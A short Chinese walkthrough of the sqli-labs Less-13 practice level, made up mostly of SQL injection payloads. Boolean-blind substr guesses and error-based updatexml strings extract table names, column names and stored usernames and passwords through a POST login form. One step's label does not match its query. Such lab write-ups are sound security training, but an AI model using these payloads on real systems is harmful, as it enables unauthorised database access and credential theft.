sqli-labs (less-13)
进入13,输入用户名和密码登入,利用hackbar抓取POST请求,但是这里我们发现屏幕上这次没有数据回显了,这也说明我们这里不能再使用union注入了
输入
uname=admin'&passwd=admin&submit=Submit #页面回显错误信息
通过报错信息我们知道闭合方式为’),并且为字符型注入
因为这里没有数据回显,但是我们观察到有完整的错误信息,所以这里可以使用Boolean盲注报错注入攻击
Boolean盲注
查看当前数据库长度
uname=a') or length(database())=8#&passwd=admin&submit=Submit
判断当前数据库的第一个字母
uname=a') or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'#&passwd=admin&submit=Submit
判断users表下的第一个字段的第一个字母
uname=a') or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'#&passwd=admin&submit=Submit
判断username字段的第一个值的第一个字母
uname=a') or substr((select username from security.users limit 0,1),1,1)='d'#&passwd=admin&submit=Submit
依次类推,猜解出数据库中的所有数据
报错注入攻击
查看当前数据库
uname=a') or updatexml(1,concat(0x7e,(database()),0x7e),1)#&passwd=admin&submit=Submit
查看security库下的第一张表
uname=a') or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#&passwd=admin&submit=Submit
查看users表下的第一个字段
uname=a') or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)#&passwd=admin&submit=Submit
查看username和password字段的第一个值
uname=a') or updatexml(1,concat(0x7e,(select concat(username,password) from security.users limit 0,1),0x7e),1)#&passwd=admin&submit=Submit
依次类推,猜解出数据库中的所有数据